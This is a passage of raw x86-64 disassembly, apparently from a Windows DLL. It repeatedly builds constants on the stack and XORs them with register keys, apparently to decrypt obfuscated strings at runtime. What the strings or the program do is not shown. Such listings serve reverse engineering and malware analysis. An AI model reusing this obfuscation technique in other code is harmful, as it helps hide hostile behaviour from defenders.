mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1188], rax
movabs rax, 0xfb38a9272c3dd426
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1190], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1198], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc6c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc6c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc6d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc6d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1180]
vmovdqa ymmword [rbp + 0x1180], ymm1
lea rdx, [rbp + 0x1180]
lea rcx, [rbp + 0x3a70]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x153], al
mov byte [rbp + 0x154], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1720], rax
movabs rax, 0x25b296c5622773b4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1728], rax
movabs rax, 0xfb38a9276b2adb25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1730], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1738], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc6e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc6e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc6f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc6f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1720]
vmovdqa ymmword [rbp + 0x1720], ymm1
lea rdx, [rbp + 0x1720]
lea rcx, [rbp + 0x3a50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3a70]
lea rcx, [rbp + 0x6bd0]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa650]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6bb0]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3a50]
lea rcx, [rbp + 0x6b90]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6b90]
call fcn.180040870
nop
lea rcx, [rbp + 0x6bb0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6bd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3a50]
call fcn.180040870
nop
lea rcx, [rbp + 0x3a70]
call fcn.180040870
movabs rsi, 0x3baf30ed0152cd11
lea rcx, [rbp + 0xa650]
call fcn.180040870
nop
lea rcx, [rbp + 0xa590]
call fcn.180040870
nop
lea rcx, [rbp + 0xaa78]
call fcn.180040870
call fcn.180004e10
cmp byte [rbp + 0x2a], 0
je 0x180030d00
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x155], al
mov byte [rbp + 0x156], al
movabs rax, 0xff3650ccd8cb0f8c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2260], rax
movabs rax, 0xa94f5fe7a2f18bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2268], rax
movabs rax, 0x9479d0447d04db26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2270], rax
movabs rax, 0xf26ff829d65030cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2278], rax
movabs rax, 0x51d7668f69048a75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2280], rax
movabs rax, 0x29410461bf927408
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2288], rax
movabs rcx, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x2290], rax
movabs rbx, 0x284ee4f6edcbf52c
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x2298], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd400], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd408], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd410], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd418], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd420], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd428], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd430], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xd438], rax
vmovdqu ymm0, ymmword [rbp + 0xd400]
vpxor ymm1, ymm0, ymmword [rbp + 0x2260]
vmovdqa ymmword [rbp + 0x2260], ymm1
vmovdqu ymm0, ymmword [rbp + 0x2280]
vpxor ymm1, ymm0, ymmword [rbp + 0xd420]
vmovdqa ymmword [rbp + 0x2280], ymm1
lea rdx, [rbp + 0x2260]
lea rcx, [rbp + 0x3a90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3a90]
lea rcx, [rbp + 0xa818]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x3a90]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x157], al
mov byte [rbp + 0x158], al
movabs rax, 0xff3650ccd8cb318f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22a0], rax
movabs rax, 0xa94f5fe7a2f18bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22a8], rax
movabs rax, 0x9479d0447d04db26
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22b0], rax
movabs rax, 0xf26ff829d65030cd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22b8], rax
movabs rax, 0x51d7668f69048a75
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22c0], rax
movabs rax, 0x29410461bf927408
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x22c8], rax
movabs rcx, 0xe9ddb3bbd3b0d20b
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x22d0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x22d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xd440], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xd448], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xd450], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xd458], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xd460], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xd468], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0xd470], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xd478], rax
vmovdqu ymm0, ymmword [rbp + 0xd440]
vpxor ymm1, ymm0, ymmword [rbp + 0x22a0]
vmovdqa ymmword [rbp + 0x22a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x22c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xd460]
vmovdqa ymmword [rbp + 0x22c0], ymm1
lea rdx, [rbp + 0x22a0]
lea rcx, [rbp + 0x3ab0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3ab0]
lea rcx, [rbp + 0xa858]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x3ab0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x159], al
mov byte [rbp + 0x15a], al
movabs rax, 0xfd3a4fc38bf53d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1740], rax
movabs rax, 0x3d9895ff7e2b18be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1748], rax
movabs rax, 0x8c54c4426448be25
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1758], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc700], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc708], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc710], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc718], rax
vmovdqu ymm0, ymmword [rbp + 0xc700]
vpxor ymm1, ymm0, ymmword [rbp + 0x1740]
vmovdqa ymmword [rbp + 0x1740], ymm1
lea rdx, [rbp + 0x1740]
lea rcx, [rbp + 0x3ad0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3ad0]
lea rcx, [rbp + 0xa3a0]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x3ad0]
call fcn.180040870
lea rcx, [rbp + 0xa818]
call fcn.180020090
test al, al
je 0x180030a19
lea r8, [rbp + 0xa3a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6bf0]
call fcn.180042b70
nop
mov rdx, rax
lea rcx, [rbp + 0xa818]
call fcn.18001e330
nop
lea rcx, [rbp + 0x6bf0]
call fcn.180040870
lea r8, [rbp + 0xa3a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6c10]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x6c10]
call fcn.180040870
test bl, bl
je 0x180030cda
xor eax, eax
mov byte [rbp + 0x15b], al
mov byte [rbp + 0x15c], al
movabs rax, 0xef4d4fc0d7e946be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1760], rax
movabs rax, 0x3bba94ff68331985
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1768], rax
movabs rax, 0xc679f1462749e525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1770], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1778], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc720], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc728], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc730], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc738], rax
vmovdqu ymm0, ymmword [rbp + 0xc720]
vpxor ymm1, ymm0, ymmword [rbp + 0x1760]
vmovdqa ymmword [rbp + 0x1760], ymm1
lea rdx, [rbp + 0x1760]
lea rcx, [rbp + 0x3b10]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x15d], al
mov byte [rbp + 0x15e], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1780], rax
movabs rax, 0x70e6f1c57e3718b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1788], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1790], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1798], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc740], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc748], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc758], rax
vmovdqu ymm0, ymmword [rbp + 0xc740]
vpxor ymm1, ymm0, ymmword [rbp + 0x1780]
vmovdqa ymmword [rbp + 0x1780], ymm1
lea rdx, [rbp + 0x1780]
lea rcx, [rbp + 0x3af0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3b10]
lea rcx, [rbp + 0x6c70]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa3a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6c50]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3af0]
lea rcx, [rbp + 0x6c30]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6c30]
call fcn.180040870
nop
lea rcx, [rbp + 0x6c50]
call fcn.180040870
nop
lea rcx, [rbp + 0x6c70]
call fcn.180040870
nop
lea rcx, [rbp + 0x3af0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3b10]
jmp 0x180030ccb
lea rcx, [rbp + 0xa858]
call fcn.180020090
test al, al
je 0x180030cda
lea r8, [rbp + 0xa3a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6c90]
call fcn.180042b70
nop
mov rdx, rax
lea rcx, [rbp + 0xa858]
call fcn.18001e330
nop
lea rcx, [rbp + 0x6c90]
call fcn.180040870
lea r8, [rbp + 0xa3a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6cb0]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x6cb0]
call fcn.180040870
test bl, bl
je 0x180030cda
xor eax, eax
mov byte [rbp + 0x15f], al
mov byte [rbp + 0x160], al
movabs rax, 0xef4d4fc0d7e946be
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17a0], rax
movabs rax, 0x3bba94ff68331985
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17a8], rax
movabs rax, 0xc679f1462749e525
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x17b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc760], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc768], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc770], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc778], rax
vmovdqu ymm0, ymmword [rbp + 0xc760]
vpxor ymm1, ymm0, ymmword [rbp + 0x17a0]
vmovdqa ymmword [rbp + 0x17a0], ymm1
lea rdx, [rbp + 0x17a0]
lea rcx, [rbp + 0x3b50]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x161], al
mov byte [rbp + 0x162], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17c0], rax
movabs rax, 0x70e6f1c57e3718b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x17d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x17d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc780], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc788], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc790], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc798], rax
vmovdqu ymm0, ymmword [rbp + 0xc780]
vpxor ymm1, ymm0, ymmword [rbp + 0x17c0]
vmovdqa ymmword [rbp + 0x17c0], ymm1
lea rdx, [rbp + 0x17c0]
lea rcx, [rbp + 0x3b30]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3b50]
lea rcx, [rbp + 0x6d10]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa3a0]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6cf0]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3b30]
lea rcx, [rbp + 0x6cd0]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6cd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6cf0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6d10]
call fcn.180040870
nop
lea rcx, [rbp + 0x3b30]
call fcn.180040870
nop
lea rcx, [rbp + 0x3b50]
call fcn.180040870
movabs rsi, 0x3baf30ed0152cd11
lea rcx, [rbp + 0xa3a0]
call fcn.180040870
nop
lea rcx, [rbp + 0xa858]
call fcn.180040870
nop
lea rcx, [rbp + 0xa818]
call fcn.180040870
cmp byte [rbp + 0x2b], 0
je 0x1800314d4
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x163], al
mov byte [rbp + 0x164], al
movabs rax, 0xdc3a5dcbeaf9238c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0x4dd6a69c2f587ab7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb220], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb228], rax
movdqa xmm0, xmmword [rbp + 0x7b0]
pxor xmm0, xmmword [rbp + 0xb220]
movdqa xmmword [rbp + 0x7b0], xmm0
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x3b90]
call fcn.180004520
nop
lea rdx, [rbp + 0x3b90]
lea rcx, [rbp + 0x6d30]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x3b70]
call fcn.180004520
nop
lea rdx, [rbp + 0x3b70]
lea rcx, [rbp + 0xa7f8]
call fcn.180007160
nop
lea rcx, [rbp + 0x3b70]
call fcn.180040870
nop
lea rcx, [rbp + 0x6d30]
call fcn.180040870
nop
lea rcx, [rbp + 0x3b90]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x165], al
mov byte [rbp + 0x166], al
movabs rax, 0xe72a5ffbd7e93d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17e0], rax
movabs rax, 0x3da6c8d066234685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17e8], rax
movabs rax, 0xfb38a9272c41cd24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x17f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x17f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc7a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc7a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc7b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc7b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc7a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x17e0]
vmovdqa ymmword [rbp + 0x17e0], ymm1
lea rdx, [rbp + 0x17e0]
lea rcx, [rbp + 0x3bb0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3bb0]
lea rcx, [rbp + 0xa610]
call fcn.1800553f0
nop
lea rcx, [rbp + 0x3bb0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x167], al
mov byte [rbp + 0x168], al
movabs rax, 0xe72a5ffbd7e93385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ae0], rax
movabs rax, 0x2184e3d566234685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2ae8], rax
movabs rax, 0x987a9a452108be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2af0], rax
movabs rax, 0x9b52e9068c6533cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2af8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2b00], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2b08], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb740], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb748], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb758], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb760], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb768], rax
vmovdqu ymm0, ymmword [rbp + 0xb740]
vpxor ymm1, ymm0, ymmword [rbp + 0x2ae0]
vmovdqa ymmword [rbp + 0x2ae0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2b00]
vpxor xmm2, xmm2, xmmword [rbp + 0xb760]
vmovdqa xmmword [rbp + 0x2b00], xmm2
lea rdx, [rbp + 0x2ae0]
lea rcx, [rbp + 0x3bd0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3bd0]
lea rcx, [rbp + 0x6d70]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa7f8]
lea rcx, [rbp + 0x6d50]
call fcn.180041ee0
nop
mov rcx, rax
call fcn.180020090
movzx ebx, al
lea rcx, [rbp + 0x6d50]
call fcn.180040870
nop
lea rcx, [rbp + 0x6d70]
call fcn.180040870
nop
lea rcx, [rbp + 0x3bd0]
call fcn.180040870
test bl, bl
je 0x1800314b5
xor eax, eax
mov byte [rbp + 0x169], al
mov byte [rbp + 0x16a], al
movabs rax, 0xe72a5ffbd7e93385
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b20], rax
movabs rax, 0x2184e3d566234685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b28], rax
movabs rax, 0x987a9a452108be24
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b30], rax
movabs rax, 0x9b52e9068c6533cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2b38], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x2b40], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2b48], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb780], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb788], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb790], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb798], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb7a0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb7a8], rax
vmovdqu ymm0, ymmword [rbp + 0xb780]
vpxor ymm1, ymm0, ymmword [rbp + 0x2b20]
vmovdqa ymmword [rbp + 0x2b20], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2b40]
vpxor xmm2, xmm2, xmmword [rbp + 0xb7a0]
vmovdqa xmmword [rbp + 0x2b40], xmm2
lea rdx, [rbp + 0x2b20]
lea rcx, [rbp + 0x3bf0]
vzeroupper
call fcn.180004520
nop
lea r8, [rbp + 0xa610]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6dd0]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3bf0]
lea rcx, [rbp + 0x6db0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa7f8]
lea rcx, [rbp + 0x6d90]
call fcn.180041ee0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18001e330
nop
lea rcx, [rbp + 0x6d90]
call fcn.180040870
nop
lea rcx, [rbp + 0x6db0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6dd0]
call fcn.180040870
nop
lea rcx, [rbp + 0x3bf0]
call fcn.180040870
lea r8, [rbp + 0xa610]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6df0]
call fcn.180042b70
nop
mov rcx, rax
call fcn.1800117f0
movzx ebx, al
lea rcx, [rbp + 0x6df0]
call fcn.180040870
test bl, bl
je 0x1800314b5
xor eax, eax
mov byte [rbp + 0x16b], al
mov byte [rbp + 0x16c], al
movabs rax, 0xf0184fc3c8ed32b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1800], rax
movabs rax, 0x3abacbf967557cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1808], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1810], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1818], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc7c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc7c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc7d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc7d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1800]
vmovdqa ymmword [rbp + 0x1800], ymm1
lea rdx, [rbp + 0x1800]
lea rcx, [rbp + 0x3c30]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x16d], al
mov byte [rbp + 0x16e], al
movabs rax, 0xfa3a4ff8d1824788
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1820], rax
movabs rax, 0x2380e1fe7e371aaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1828], rax
movabs rax, 0xfb38a927653ae124
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1830], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1838], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc7e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc7e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc7f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc7f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1820]
vmovdqa ymmword [rbp + 0x1820], ymm1
lea rdx, [rbp + 0x1820]
lea rcx, [rbp + 0x3c10]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3c30]
lea rcx, [rbp + 0x6e50]
call fcn.1800553f0
mov rsi, rax
lea r8, [rbp + 0xa610]
lea rdx, [rbp + 0xd720]
lea rcx, [rbp + 0x6e30]
call fcn.180042b70
mov rbx, rax
lea rdx, [rbp + 0x3c10]
lea rcx, [rbp + 0x6e10]
call fcn.1800553f0
nop
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6e10]
call fcn.180040870
nop
lea rcx, [rbp + 0x6e30]
call fcn.180040870
nop
lea rcx, [rbp + 0x6e50]
call fcn.180040870
nop
lea rcx, [rbp + 0x3c10]
call fcn.180040870
nop
lea rcx, [rbp + 0x3c30]
call fcn.180040870
movabs rsi, 0x3baf30ed0152cd11
call fcn.180004e10
nop
lea rcx, [rbp + 0xa610]
call fcn.180040870
nop
lea rcx, [rbp + 0xa7f8]
call fcn.180040870
cmp byte [rbp + 0x2c], 0
je 0x180031cf1
xor eax, eax
mov byte [rbp + 0x16f], al
mov byte [rbp + 0x170], al
movabs rax, 0xcb044dc8ff823089
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1840], rax
movabs rax, 0xf84f0cd57276db3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1848], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1850], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1858], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc800], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc808], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc810], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc818], rax
vmovdqu ymm0, ymmword [rbp + 0xc800]
vpxor ymm1, ymm0, ymmword [rbp + 0x1840]
vmovdqa ymmword [rbp + 0x1840], ymm1
lea rdx, [rbp + 0x1840]
lea rcx, [rbp + 0x3c70]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3c70]
lea rcx, [rbp + 0x6e70]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x3c50]
call fcn.180004520
nop
lea rdx, [rbp + 0x3c50]
lea rcx, [rbp + 0xa7d8]
call fcn.180007160
nop
lea rcx, [rbp + 0x3c50]
call fcn.180040870
nop
lea rcx, [rbp + 0x6e70]
call fcn.180040870
nop
lea rcx, [rbp + 0x3c70]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x171], al
mov byte [rbp + 0x172], al
movabs rax, 0xe72e2bfbcbf13d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1860], rax
movabs rax, 0x7be3dfff7e547cbf
